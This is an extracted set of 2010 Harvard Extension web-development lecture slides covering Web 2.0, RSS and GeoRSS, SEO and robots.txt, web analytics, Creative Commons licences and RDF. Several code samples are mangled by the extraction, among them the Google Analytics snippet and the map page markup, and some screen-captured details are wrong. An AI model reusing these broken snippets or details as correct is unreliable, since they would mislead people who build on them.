Grab Bag, Part 1

A form for lecture feedback is available from the course web site. Please take two minutes to fill it out after you have seen the lecture.

April 21, 2010

Harvard University
Extension School

Course Web Site: http://cscie12.dce.harvard.edu/

Instructor email: david_heitmeyer@harvard.edu
Course staff email: cscie12@dce.harvard.edu
Grab Bag - Part 1

Topics in there so far:

- Tonight (4/28):
  - Web 2.0 and Mashups
  - Syndication (RSS and Atom)
  - Search
  - Web Site Analytics
  - Copyright
  - Semantic Web (Microformats and RDFa)

- Next Week (5/5):
  - Web Content Management Systems (CMS, WCM)
  - Mobile Web
  - HTML 5
  - Security and Privacy (SSL, XSS, Phishing, PICS)
  - Infrastructure as Service (Google, Yahoo! and Amazon services)
Web 2.0

Aspects:

- Business Model
- Social / Community
- Information and data collection and use
- User Experience (RIA)
- Technology (Ajax, XHR)

Articles:

- [What Is Web 2.0: Design Patterns and Business Models for the Next Generation of Software](http://tomcat.localhost/coocoon/course_webdev/slides/20100428/handout.html) by Tim O'Reilly
- [Web 2.0](http://tomcat.localhost/coocoon/course_webdev/slides/20100428/handout.html), article from Wikipedia
Web 2.0 Features and Characteristics

*What Is Web 2.0: Design Patterns and Business Models for the Next Generation of Software* by Tim O'Reilly

Principles, Characteristics, Features:

- Services, not packaged software, with cost-effective scalability
- Control over unique, hard-to-recreate data sources that get richer as more people use them
  - e.g. Amazon
- Trusting users as co-developers
- Harnessing collective intelligence
  - e.g. Wikipedia
- Leveraging the long tail through customer self-service
  - e.g. Google AdSense
- Software above the level of a single device
- Lightweight user interfaces, development models, AND business models
Levels of "Participation"

Examples from Amazon.com

Canon PowerShot SD1200IS 10 MP Digital Camera
Optical Image Stabilized Zoom and 2.5-inch LCD (E
Other products by Canon

List Price: $479.00
Price: $149.00 & eligible for free shipping with Amazon Prin
You Save: $30.00 (17%)

33 new 11 used from $100.00 1 refurbished from $129.89

Color: Blue

What Do Customers Ultimately Buy After Viewing This Item?

60% buy the item featured on this page:
Canon PowerShot SD1200IS 10 MP Digital Camera with 3x Optical Image
Stabilized zoom and 2.5-inch LCD (Blue) ★★★★★ (330)
$149.00
19% buy
Canon PowerShot SD780IS 12.1 MP Digital Camera with 3x Optical Image
Stabilized zoom and 2.5-inch LCD (Black) ★★★★★ (485)
$176.09

Explore similar items
Customer Reviews

Average Customer Rating

- Ease of use: ★★★★★ (111)
- Picture quality: ★★★★★ (109)
- Portability: ★★★★★ (108)
- Features: ★★★★★ (107)

Most Helpful Customer Reviews

1,398 of 1,420 people found the following review helpful:

★★★★★ great little cam, some improvements from earlier powershots, some quirks, April 22, 2009

By Omar Siddique (Elicott City, MD USA) - See all my reviews

Amazon Verified Purchase (What's this?)

This review is from: Canon PowerShot SD1200IS 10 MP Digital Camera with 3x Optical Image Stabilized Zoom and 2.5-inch LCD (Silver) (Electronics)

The SD1200 has some big changes over its predecessor SD1100, and is the smallest, best-designed Elph I've used thus far.
Web 2.0 in Images

- User-contributed data (active and passive)
- Mashups - combining, remixing data
- External Services and Functionality
- Rich User Interfaces and Rich Internet Applications

Image from Wikimedia Commons (Markus Angermeier and Luca Cremonini)

Web 2.0 Meme Map by Tim O'Reilly
Visualizing Web 2.0 by Dion Hinchcliffe

Web 2.0

- Ajax
- HTML/DHTML
- Feeds/RSS
- Blogs
- Podcasts/Audio
- Face

Web Services
- POX/HTTP/REST
- SOAP, JSON, RSS, ATOM, RDF

Information
- XML, JSON, RSS, ATOM, RDF, XHTML, Text, Podcasts

Connectors
- Mixing/Mashing Tools, Permalinks, URIs, WS*, Bridges, SOA, ESB

Trust Sources
- Wikipedia Entries, PageRank, Amazon Reviews, eBay reputation, del.icio.us bookmarks, etc.

User Enrichment
- Tagging, Mashing, Trackbacks, Ranking, Aggregation, Syndication, Reviews, Personal Data

Content Styles
- Blogs, Information Storage/Sharing, Search, Directory, News, Collaboration, Software as a Service

Content and Services

Visualizing Web 2.0, Peter, blog.forret.com
Web 2.0 overview

GET

Official data
- Census, government, traditional media

User data
- Blogs, Wikipedia, Amazon reviews, IMDB feedback, podcasts, Flickr, Craigslist

Aggregated data
- Google Search, Technorati, Facebook, PageRank, Spiegel, Amazon Top Sellers, eBay reputation

Metadata
- Delicious, Flickr, tags, Technorati, Cosmos, Plazes geo-location

REMIX

Aggregate
- Creative Commons, Perpetual Beta, "Release early, release often"

Annotate
- Hacking is OK, Trust your Users, Service no software

Convert
- Rich UI: AJAX, DHTML, Flash

Filter
- Visualize: Maps, Calendar

Index
- Self-service: Contextual Advertising, Payment ("long tail")

Map
- Devices: PDA, Phone "everywhere"

Rank
- Permissions

Transform
- Granular, Loosely joined

DELIVER

Interface
- REST, RPC, SOAP

Format
- RSS, Atom, KML, iCal/hCal, JSON, BitTorrent

Address
- Permalink, Granular, Loosely joined
Zillow

www.zillow.com
www.housingmaps.com
EveryBlock (Chicago)

chicago.everyblock.com
GovTrack.US

Arizona's Representatives - Congressional District Maps

The two senators from Arizona are:

- Sen. Kyl, Jon [R]
- Sen. McCain, John [R]

Your state is divided into 8 congressional districts.

- The map to the right shows the congressional districts in your state. Zoom in to find where you live, and then click the balloon in your district to see which district you live in.
- Rep. Katsch, Rick [R]
- District 1 - Map
- Rep. Frank, Trent [R]
- District 2 - Map
- Rep. Shadegg, John [R]
- District 3 - Map

Districts are drawn with low detail in this view. To get full detail when zooming in, click on a district icon.

GovTrack.US
flickr

Church of the Covenant

Would you like to comment?

flickr.com
WASHINGTON (May 9, 2007) – Many of the world’s leading scientific institutions today announced the launch of the Encyclopedia of Life, an unprecedented global effort to document all 1.8 million named species of animals, plants, and other forms of life on Earth. For the first time in the history of the planet, scientists, students, and citizens will have multi-media access to all known living species, even those that have just been discovered.

more

- 6 cornerstone institutions
- 9 data partners (and growing)
- thousands of "curators"
- tens (more?) of thousands of potential contributors

*Falco peregrinus* (Peregrine Falcon)
Google: Rich Internet Applications

Rich Internet Applications, Rich User Experience
ReadTheStimulus.org

readthestimulus.org

---

**Text of the Friday Night Compromise**

**POSTED AT 9:00 PM ON FRIDAY, FEBRUARY 6, 2009**

Now that there is news of a compromise reached between the Senate Democrats plus GOV Senators Susan Collins and Arlen Specter, the obvious question is: can we read the compromise bill text?

Short answer: not. As of now, no text has been released, and it is highly likely that as of Friday evening, it doesn’t even exist. Our sources on the Hill indicate that “it is probably just a bunch of numbers scratched on a napkin right now.”

We are of course eagerly awaiting the post-napkin version of the compromise, and will post it here as soon as it becomes available.

**Senate Version Parsed**

**POSTED AT 10:40 PM ON TUESDAY, FEBRUARY 3, 2009**

We now have the Senate version parsed and available below. Note that this is a work in progress.
Weather

Boston Weather

Cambridge, MA (02138)

Current Conditions

UV Index: 2 Low
Wind: From WSW at 21mph
Humidity: 58%
Pressure: 29.55 in
Dew Point: 65°F
Visibility: 10.0 mi

81°F
Feels Like 83°F
Partly Cloudy and Windy

Updated 9/15/08 9:30 AM EDT

Forecast

Monday Tuesday Wednesday Thursday
Partly Cloudy / Wind 85°/54°

10-day forecast
Local Pollen Reports | Airport Conditions | Lawn and Garden Weather | Rush Hour Traffic
Weather data provided by weather.com

Shuttle Schedule

From: Memorial Hall
To: Stadium
Date: September 15
Time: 9

Calculate Approximate Travel Time

Developmental Biologist Susan Mango to Join MCB
Susan E. Mango, whose study of pharynx development in nematode worms has provided biologists with one of their most robust models of organ development, has been named professor of molecular and cellular biology in Harvard University’s Faculty of Arts and Sciences...

Nalini Khaneja Named McKay Professor in SEAS

UV Index: 2
Wind: 81°F
Feels Like 83°F
Partly Cloudy
Humidity: 58%
Pressure: 29.55 in
Dew Point: 65°F
Visibility: 10

10-day forecast
Local Pollen Reports | Airport Conditions | Lawn and Garden Weather | Rush Hour Traffic
Weather data provided by weather.com
<weather ver="2.0">
  <head>
    <locale>en_US</locale>
    <form>MEDIUM</form>
    <ut>F</ut>
    <ud>mi</ud>
    <us>mph</us>
    <up>in</up>
    <ur>in</ur>
  </head>
  <loc id="02138">
    <dnam>Cambridge, MA (02138)</dnam>
    <tm>9:38 AM</tm>
    <lat>42.38</lat>
    <lon>-71.13</lon>
    <sunr>6:25 AM</sunr>
    <suns>6:53 PM</suns>
    <zone>-4</zone>
  </loc>
  <cc>
    <lsup>9/15/08 9:25 AM EDT</lsup>
    <obst>Fenway Park, MA</obst>
    <tmp>81</tmp>
    <flik>83</flik>
    <t>Partly Cloudy and Windy</t>
    <icon>30</icon>
    <bar>
      <r>29.55</r>
      <d>steady</d>
    </bar>
    <wind>
      <s>21</s>
      <gust>28</gust>
      <d>250</d>
      <t>WSW</t>
    </wind>
    <hmid>58</hmid>
    <vis>10.0</vis>
    <uv>
      <i>2</i>
      <t>Low</t>
    </uv>
    <dewp>65</dewp>
    <moon>
      <icon>14</icon>
      <t>Full</t>
    </moon>
  </cc>
</weather>
National Weather Service

NOAA's National Weather Service offers several XML services: National Digital Forecast Database XML Web Service

Weather at Boston, Logan International Airport, MA - via NOAA's National Weather Service

Partly Cloudy and 61 degrees F at Boston, Logan International Airport, MA

Winds are Northeast at 9 MPH. The pressure is 30.46" (1031.4 mb) and the humidity is 67%. The wind chill is 60. Last Updated on Sep 17, 10:54 am EDT.

NWS MA Weather

- RSS
- XML
Yahoo! Developer Network

Yahoo! Developer Network. REST Web Services using XML and JSON.

- YDN: Everything for Developers
- Answers
- Local
- Mail
- Maps
- OpenID
- Search
- Shopping
- Travel
- Utilities
Open Government and Data.gov

- Open Government Initiative
  - Data.gov
- Open Government: Collaboration, Transparency, and Participation in Practice (O'Reilly Book)
Examples of other Data Sources and Services

- Sunlight Labs
- Brooklyn Museum API
- Airport Status Information (FAA)
- Amazon Product Advertising API
- DBpedia
- irrepressible.info
- ProgrammableWeb (Data APIs and examples of mashups)
Syndication Feeds: RSS, Atom, Podcasts

RSS and Atom are lightweight XML formats for sharing headlines and other changing content on the web.


RSS Snippet: Item

The heart of an RSS feed is an "item", which can have a title, link, and description.

Item from BBC News:

```xml
<item>
  <title>Global market turmoil continues</title>
  <description>Major global stock markets extend losses in the aftermath of the demise of top US investment bank Lehman Brothers.</description>
  <link>http://news.bbc.co.uk/go/rss/-/1/hi/business/7617976.stm</link>
  <guid isPermaLink="false">http://news.bbc.co.uk/1/hi/business/7617976.stm</guid>
  <pubDate>Tue, 16 Sep 2008 10:50:41 GMT</pubDate>
  <category>Business</category>
</item>
```

Atom Snippet
Google has launched a new open source browser, Chrome. The new browser boasts a minimalistic UI, a new Javascript engine, and sandboxed tabs to prevent any tab from crashing the browser. Chrome uses components from Apple'swebkit and Mozilla Firefox.

Gigaom has published an article including comments from Mozilla CEO John Lilly on the introduction of Chrome affects Mozilla and its relationship with Google. Mitchell //blog.lizardwrangler.com/2008/09/02/mozilla-firefox-and-google-chrome/

CNet News Webware has articles commenting on Chrome's Javascript performance and Chrome's fine print, specifically auto update.

News of Google Chrome leaked early when the comic book explaining Chrome's features was published before Chrome was formally announced.

News of Google and Mozilla extending their search partnership until 2011.
Consuming Feeds

- External Application
- Email client
- Web Browser
- Portal (e.g. iGoogle, My Yahoo!)

Subscribe to Feeds via an E-mail client

Firefox "Live Bookmarks"

Firefox "Live Bookmarks" alert you to the existence of an RSS feed for a site and allow convenient access to the items in the feed.
Alerting Users to Available Feeds

Indicate RSS feeds using "link" element in page:

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>`&lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;</td>
<td></td>
</tr>
<tr>
<td>2.</td>
<td>title=&quot;ONLamp.com Articles&quot;</td>
<td></td>
</tr>
</tbody>
</table>
| 3. | href="http://www.oreillynet.com/meerkat/?_fl=rss10&t=ALL&c=5544" />
| 4. | `<link rel="alternate" type="application/atom+xml"|
| 5. | title="ONLamp.com Articles"|

Link to RSS feed with the convention of an "feed" icon on page:
Podcasts: An Adaptation of RSS

Adapting and extending RSS for use with iTunes, iPods, and other mobile media players.

- Each "item" has an "enclosure," which is a link to the media file (typically MP3).
- iTunes uses a specific XML module added to RSS (note the itunes prefix to some elements within the item).

Podcast snippet (WBUR/NPR On Point with Tom Ashbrook Podcast):

```
<item>
  <title>Banks on the Brink</title>
  <description>Bear Stearns was bailed out. Then Fannie and Freddie. Now Lehman Brothers</description>
  <pubDate>Mon, 15 Sep 2008 18:34:13 -0400</pubDate>
  <link>http://www.onpointradio.org</link>
  <itunes:summary>Bear Stearns was bailed out. Then Fannie and Freddie. Now Lehman Brothers</itunes:summary>
  <itunes:keywords>WBUR, WBUR FM, On Point from WBUR, Boston, Massachusetts</itunes:keywords>
  <itunes:duration>45:54</itunes:duration>
  <itunes:explicit>No</itunes:explicit>
  <enclosure url="http://podcastdownload.npr.org/anon.npr-podcasts/podcast/330/510053/94647420/WBUR_94647420.mp3" length="22032080" type="audio/mpeg"/>
</item>
```
GeoRSS: Extension to RSS

```xml
<rss version="2.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
     xmlns:ymaps="http://api.maps.yahoo.com/Maps/V1/AnnotatedMaps.xsd">
  <channel>
    <title>David's Favorite Lunch Spots</title>
    <link>http://cscie153.dce.harvard.edu/</link>
    <item>
      <title>Pinnochio's Pizza</title>
      <link>http://www.pinocchiospizza.net/</link>
      <description>The best pizza in the Square. Get a Sicilian slices of Tomato &amp; Basil and Spinache.</description>
      <geo:lat>42.371984</geo:lat>
      <geo:long>-71.120269</geo:long>
    </item>
    <item>
      <title>Felipe's Taqueria</title>
      <link>http://www.felipestaqueria.com/</link>
      <geo:lat>42.372436</geo:lat>
      <geo:long>-71.11962</geo:long>
      <description>Great burritos. Get a super carnitas burrito with black beans.</description>
    </item>
    <item>
      <title>Crema Cafe</title>
      <link>http://www.cremacambridge.com/</link>
      <geo:lat>42.373465</geo:lat>
      <geo:long>-71.120722</geo:long>
      <description>Great cafe and bakery. I prefer the quiche or soup for lunch -- and coff</description>
    </item>
  </channel>
</rss>
```
GeoRSS and Yahoo! Maps

Yahoo! Maps and RSS with GeolInfo
GeoRSS and Google Maps

Google Maps can consume a Geo-tagged RSS file.

*Note that the URL of the RSS file needs to absolute!*

**My Favorite Lunch Place**

Data:
<rss version="2.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
    xmlns:ymaps="http://api.maps.yahoo.com/Maps/V1/AnnotatedMaps.xsd">
    <channel>
        <title>David's Favorite Lunch Spots</title>
        <link>http://cscie12.dce.harvard.edu/</link>
        <item>
            <title>Pinnochio's Pizza</title>
            <link>http://www.pinocchiospizza.net/</link>
            <description>The best pizza in the Square. Get a Sicilian slices of Tomato &amp; Basil and Spinache.</description>
            <geo:lat>42.371984</geo:lat>
            <geo:long>-71.120269</geo:long>
        </item>
        <item>
            <title>Felipe's Taqueria</title>
            <link>http://www.felipestaqueria.com/</link>
            <geo:lat>42.372436</geo:lat>
            <geo:long>-71.11962</geo:long>
            <description>Great burritos. Get a super carnitas burrito with black beans.</description>
        </item>
        <item>
            <title>Crema Cafe</title>
            <link>http://www.cremacambridge.com/</link>
            <geo:lat>42.373465</geo:lat>
            <geo:long>-71.120722</geo:long>
            <description>Great cafe and bakery. I prefer the quiche or soup for lunch -- and coff</description>
        </item>
    </channel>
</rss>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<title>Google Maps API Example : GGeoXml RSS Overlay</title>
<script src="http://maps.google.com/maps?file=api&v=2}&amp;key=ABQIAAAAr30lFNaL37OqRdrO8y2zfRaxLnIRbm305dZabRRYkZrI_UOrBSmVsnwDYvmdxVa2WUtM0jBRjp type="text/javascript"></script>
<script type="text/javascript">

var map;  
var geoXml;  
var toggleState = 1;

function initialize() {
  if (GBrowserIsCompatible()) {
    var myDocumentURL = document.URL;
    var feedFile = "lunch.xml";
    feedURL = myDocumentURL.replace(/\/[\^/]\.[^\./]*\.[^\./]*html/,'/'+feedFile);
    // or could specify the feedURL as an absolute one:
    // http://morpheus.dce.harvard.edu/~dheitmey/maps/lunch.xml
    geoXml = new GGeoXml(feedURL);
    map = new GMap2(document.getElementById("map_canvas"));
    map.setCenter(new GLatLng(42.372,-71.12), 16);
    map.addControl(new GLargeMapControl());
    map.addOverlay(geoXml);
  }
}
</script>
</head>
<body onload="initialize()">
<h1>My Favorite Lunch Places</h1>
<div id="map_canvas" style="width: 640px; height: 480px; float:left; border: 1px solid b"</div>
</body>
</html>
Search

- Your site and external search engines (e.g. Google, Yahoo!)
- Search your site

Parts of "Search"

- Getting the Content
  - Crawlers, spiders, robots, etc.
- Indexing
- Query and Results
**SEO: Search Engine Optimization**

Make your site ready for search engines

- well-formed (and hopefully valid) HTML/XHTML.
- use semantic markup (headings, lists, etc.)
- titles that stand on their own
- "meta" keywords and description

An example using [O'Reilly OnLamp.com](http://www.onlamp.com)

In "head" element of page:

```html
<title>O'Reilly Network's ONLamp.com -- web development, linux, apache, mysql, perl, php</title>
<meta name="keywords" content="o'reilly network, o'reilly, onlamp.com, lamp, lampp, linux, apache, mysql, perl, python, web development, server development reference, technical information, open source, O'Reilly Media, O'Reilly author, oreilly.com, oreilly, o'reilly" />
<meta name="description" content="Welcome to ONLamp.com, the high performance web development site from the O'Reilly Network offering comprehensive Lamp developer information and resources. O'Reilly Network's ONLamp site features original articles, news and commentary." />
```

![Google Search Example](http://tomcat.localhost/coo.../handout.html)
<title>
The <title> is seen in:

- Search Engine results
- Browser
  - Bookmarks
  - History
  - Window Title

Importance of a Good <title>

A good title should "stand on its own". It may often be seen out of the context of the site.

- "Culture & Values"
- "Boeing: Culture & Values"
Search - Custom Search Forms

Build a form and link to search engine:

- Google Site Search
- Yahoo! Site Search

Google Site Search

Example 13.1 - Google Site Search - View example by itself

```
1. <form method="get" action="http://www.google.com/search" enctype="application/x-www-form-urlencoded">
2.   <div>
3.     <input type="text" name="as_q" size="50"/>
4.   <br/>
5.     <input type="submit" value="Search CSCIE-12 with Google"/>
6.     <input type="hidden" name="as_sitesearch" value="cscie12.dce.harvard.edu"/>
7.   </div>
8. </form>
```

Search CSCIE-12 with Google

Site Search with Yahoo!

Example 13.2 - Yahoo! Site Search - View example by itself

```
1. <form method="get" action="http://search.yahoo.com/search" enctype="application/x-www-form-urlencoded">
2.   <div>
3.     <input type="text" name="p" size="50"/>
4.   <br/>
5.     <input type="submit" value="Search CSCIE-12 with Yahoo!"/>
6.     <input type="hidden" name="vs" value="cscie12.dce.harvard.edu"/>
7.   </div>
8. </form>
```

Search CSCIE-12 with Yahoo!
Site Search Options

- Google Custom Search Engine
- Yahoo! Search Web Services
  - Yahoo! Search BOSS (Build your Own Search Service)
- Search as a Service: Atomz Site Search
- Google Search Solutions (Hardware + Software)
- Open Source Software for Search
  - Sphinx
  - Nutch
  - Lucene and Solr
Google Webmaster Info

- Google Help for Webmaster/Site Owners

Sitemap

You can provide Google an XML sitemap document that contains the pages you want it to index.

sitemap.xml for www.littletontrack.org:

```xml
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>http://littletontrack.org/</loc>
    <changefreq>weekly</changefreq>
    <priority>1.0</priority>
  </url>
  <url>
    <loc>http://littletontrack.org/activity.html</loc>
    <changefreq>weekly</changefreq>
    <priority>0.5</priority>
  </url>
  <url>
    <loc>http://littletontrack.org/feasibility_study.html</loc>
    <changefreq>weekly</changefreq>
    <priority>0.5</priority>
  </url>
  <url>
    <loc>http://littletontrack.org/community_presentation.html</loc>
    <changefreq>weekly</changefreq>
    <priority>0.5</priority>
  </url>
  <url>
    <loc>http://littletontrack.org/photos.html</loc>
    <changefreq>weekly</changefreq>
    <priority>0.5</priority>
  </url>
  <url>
    <loc>http://littletontrack.org/faq.html</loc>
    <changefreq>weekly</changefreq>
    <priority>0.5</priority>
  </url>
</urlset>
```
Yahoo! Search Help

- Yahoo! Search Help
- Yahoo! Webmaster Resources
Robots Exclusion Standard (RES)

- The Web Robots Pages
  http://www.robotstxt.org/wc/robots.html
- A Standard for Robot Exclusion
  http://www.robotstxt.org/wc/norobots.html
- The Web Robots FAQ

RES provides two mechanisms to instruct robots that visit your site:

1. robots.txt file
2. robots meta tag
robots.txt and Examples

Two directives:

- User-Agent
- Disallow

Note: robots.txt must be at the root level of the server.

npr.org

http://www.npr.org/robots.txt

1. Disallow all robots from certain areas:
2. User-agent: *
3. Disallow: /cgi-bin
4. Disallow: /ramfiles/
5. Disallow: /*.smil
6. Disallow: /*.asx
7. Disallow: /*.ram
8. Disallow: /*.rmm
9. Disallow: /*.js
10. Disallow: /*.au
12. Disallow: /rundowns/segment.php?

foxnews.com

http://www.foxnews.com/robots.txt

1. User-agent:
2. User-agent: *
3. Disallow: /printer_friendly_story
4. Disallow: /projects/livestream

wikipedia.org

http://en.wikipedia.org/robots.txt
Robots meta element

- name="robots"
- content
  - index or noindex
  - follow or nofollow

The Robots meta element can be used on a per document basis.

OK to index page; OK to follow links on page

```html
<meta name="robots" content="index,follow"/>
```

OK to index page; Don't follow links on page

```html
<meta name="robots" content="index,nofollow"/>
```

Don't index page; OK to follow links on page

```html
<meta name="robots" content="noindex,follow"/>
```

Don't index page; Don't follow links on page

```html
<meta name="robots" content="noindex,nofollow"/>
```
Web Analytics

- Web Server Log files
- Javascript-based
Web Server Log Files

- IP address
- identd
- user (basic authentication)
- timestamp
- request
- HTTP status
- bytes sent
- referer
- user-agent

One line of a log file ("combined log format"), with each field shown on its own line:

```
128.103.36.158
-
-
[29/Apr/2009:10:59:05 -0400]
"GET /lecture_notes/2009/20090128/slide1.html HTTP/1.1"
  200
  4372
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
```

Log file entries for a page load of one lecture slide:

```
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)"
```
Javascript-based Analytics

Javascript is used to collect information about the browser and request, and then it sends this information back to a server, typically as request parameters for a 1x1 pixel transparent GIF image.

- Typically run as a service
Google Analytics

JS included on page sends information back to Google Analytics server, which tracks and builds reports.

Example Reports

![Google Analytics Dashboard](http://tomcat.localhost/coocoon/course_webdev/slides/20100428/handout.html)
Overview of How Google Analytics Works

Javascript is included on page

```
1. <script type="text/javascript">
2. var gaJsHost = ('https:' == document.location.protocol) ? 'https://ssl.' : 'http://' + document.location.host);
3. document.write(unescape("<script src='"+ gaJsHost + "google-analytics.com/ga.js' type='text/javascript'") + '{
4. pageTracker._trackPageview();
5. </script>
```

Request for image contains information

Javascript causes an image to be requested from the Google Analytics Server. Parameters sent with the image request contain information about the page loaded and about the browser capabilities.

URL of image:

Parameters sent (via query string):

<table>
<thead>
<tr>
<th>Params</th>
<th>Headers</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>utmac</td>
<td>UA-2675499-2</td>
<td></td>
</tr>
<tr>
<td>utmcc</td>
<td>__utmz=261712543.446246362.1206127732.1209398731.1209569723.25</td>
<td></td>
</tr>
<tr>
<td>utmcs</td>
<td>UTF-8</td>
<td></td>
</tr>
<tr>
<td>utmtdt</td>
<td>Introduction, Internet and Web Basics</td>
<td></td>
</tr>
<tr>
<td>utmfl</td>
<td>9.0 r115</td>
<td></td>
</tr>
<tr>
<td>utmhid</td>
<td>1192090014</td>
<td></td>
</tr>
<tr>
<td>utmbh</td>
<td>csei12.dce.harvard.edu</td>
<td></td>
</tr>
<tr>
<td>utmje</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>utmnn</td>
<td>839807042</td>
<td></td>
</tr>
<tr>
<td>utmp</td>
<td>/lecture_notes/2007-08/20080130/slide1.html</td>
<td></td>
</tr>
<tr>
<td>utmzr</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>utmsc</td>
<td>32-bit</td>
<td></td>
</tr>
<tr>
<td>utmsr</td>
<td>1680x1050</td>
<td></td>
</tr>
<tr>
<td>utmul</td>
<td>en-us</td>
<td></td>
</tr>
<tr>
<td>utmvw</td>
<td>4.1</td>
<td></td>
</tr>
</tbody>
</table>
Web Analytics Services and Software

Open Source Software

- Log files
  - AWStats
  - Analog
  - Webalizer
- Javascript-based
  - Piwik: Open Source Web Analytics

Services:

- AT Internet
- Aurig Systems (RTmetrics)
- BLVD Status
- Coremetrics
- DC Storm
- Digital River (Fireclick)
- etracker
- eVisit Analyst
- Facilitate Digital
- Foviance (WebAbacus)
- Google Analytics
- Intellitracker
- Lynchpin
- Lyris (ClickTracks)
- Marketwave
- Nedstat
- Omniture
- RedEye
- Site Intelligence
- SmarterStats
- Speed-Trap
- Unica (Affinium NetInsight)
- Urchin Software from Google
- VisiStat
- WebTrends
- WiredMinds
- Woopra
- Yahoo! Web Analytics
Copyright

- US Copyright Office
- Copyright and Fair Use (Stanford University Libraries)
- Copyright and Fair Use (Harvard OGC)
- Copyright Crash Course (University of Texas OGC)

Lawrence Lessig has written many interesting books about technology, copyright & public domain and culture.

Lawsuit over website links in spotlight
Copyright violation or fair use to be decided
By Robert Weisman
Globe Staff / January 23, 2009
Creative Commons

Creative Commons is a nonprofit corporation dedicated to making it easier for people to share and build upon the work of others, consistent with the rules of copyright.

Creative Commons provides free licenses and other legal tools to mark creative work with the freedom the creator wants it to carry, so others can share, remix, use commercially, or any combination thereof.

The Creative Commons Licenses:

- **Attribution**

  ![Attribution License](cc-by.png)

  You let others copy, distribute, display, and perform your copyrighted work — and derivative works based upon it — but only if they give credit the way you request.

  This license lets others distribute, remix, tweak, and build upon your work, even commercially, as long as they credit you for the original creation. This is the most accommodating of licenses offered, in terms of what others can do with your works licensed under Attribution.

  [View License Deed](http://creativecommons.org/licenses/by/3.0/deed.en) | [View Legal Code](http://creativecommons.org/licenses/by/3.0/legalcode)

- **Attribution Share Alike**

  ![Attribution Share Alike License](cc-by-sa.png)

  You allow others to distribute derivative works only under a license identical to the license that governs your work.

  This license lets others remix, tweak, and build upon your work even for commercial reasons, as long as they credit you and license their new creations under the identical terms. This license is often compared to open source software licenses. All new works based on yours will carry the same license, so any derivatives will also allow commercial use.

  [View License Deed](http://creativecommons.org/licenses/by-sa/3.0/deed.en) | [View Legal Code](http://creativecommons.org/licenses/by-sa/3.0/legalcode)

- **Attribution No Derivatives**

  ![Attribution No Derivatives License](cc-by-nd.png)

  You let others copy, distribute, display, and perform only verbatim copies of your work, not derivative works based upon it.

  This license allows for redistribution, commercial and non-commercial, as long as it is passed along unchanged and in whole, with credit to you.
• Attribution Non-Commercial

This license lets others remix, tweak, and build upon your work non-commercially, and although their new works must also acknowledge you and be non-commercial, they don't have to license their derivative works on the same terms.

• Attribution Non-Commercial Share Alike

This license lets others remix, tweak, and build upon your work non-commercially, as long as they credit you and license their new creations under the identical terms. Others can download and redistribute your work just like the by-nc license, but they can also translate, make remixes, and produce new stories based on your work. All new work based on yours will carry the same license, so any derivatives will also be non-commercial in nature.

• Attribution Non-Commercial No Derivative

This license is the most restrictive of our six main licenses, allowing redistribution. This license is often called the "free advertising" license because it allows others to download your works and share them with others as long as they mention you and link back to you, but they can't change them in any way or use them commercially.
Digital Rights Management (DRM)

- Digital Right Management from Wikipedia
- Digital Rights Management information from Electronic Freedom Foundation (EFF)
Protecting Images

News story: Family Surprised At Czech Meaning Of 'Say Cheese'

- Lower-resolution
- Hacks and Obfuscations
- Watermarks
  - Visible
    - Obtrusive
    - Unobtrusive
  - Invisible

Resources:

- Watermark.com
  - How to protect your digital images with watermarks and without watermark: comparison of methods from Watermarker.com
  - AiS Watermark Picture Protector

- Digimarc for Images
The Semantic Web

W3C Semantic Web

In addition to the classic "Web of documents" W3C is helping to build a technology stack to support a "Web of data," the sort of data you find in databases. The ultimate goal of the Web of data is to enable computers to do more useful work and to develop systems that can support trusted interactions over the network. The term "Semantic Web" refers to W3C's vision of the Web of linked data. Semantic Web technologies enable people to create data stores on the Web, build vocabularies, and write rules for handling data. Linked data are empowered by technologies such as RDF, SPARQL, OWL, and SKOS.

- Linked Data
- Vocabularies
- Query
- Inference
- Vertical Applications

Semantic Web, 2001

Tim Berners-Lee, James Hendler and Ora Lassila
A new form of Web content that is meaningful to computers will unleash a revolution of new possibilities.

Revisited, 2006

The semantic web revisited
People, the Web, and Applications

Human-Centric Web

Application-Centric Web
Resource Description Framework (RDF)

- **What is RDF?** on XML.com (updated July 2006)

Built around

```
subject predicate object
```

- subject
- predicate
- object

**RDF Example**

**English version:**

- Scott Brown is a senator from Massachusetts.

**RDF representations:**

- **XML syntax:**

```
<rdf:Description rdf:about="http://senate.gov/Scott_Brown">
  <foaf:name>Scott Brown</foaf:name>
</rdf:Description>
```

- **Notation 3 (N3):**

```
<http://senate.gov/Scott_Brown> foaf:name "Scott Brown" ;
```
Dublin Core Metadata Initiative

- Dublin Core Metadata Initiative
- Dublin Core Metadata Element Set, Version 1.1

15 metadata elements of "Dublin Core"

- contributor
- coverage
- creator
- date
- description
- format
- identifier
- language
- publisher
- relation
- rights
- source
- subject
- title
- type
Today's web is built predominantly for human consumption. Even as machine-readable data begins to appear on the web, it is typically distributed in a separate file, with a separate format, and very limited correspondence between the human and machine versions. As a result, web browsers can provide only minimal assistance to humans in parsing and processing web data: browsers only see presentation information. We introduce RDFa, which provides a set of XHTML attributes to augment visual data with machine-readable hints. We show how to express simple and more complex datasets using RDFa, and in particular how to turn the existing human-visible text and links into machine-readable data without repeating content.
RDFa and License

Rendered:

![Creative Commons License](http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png)

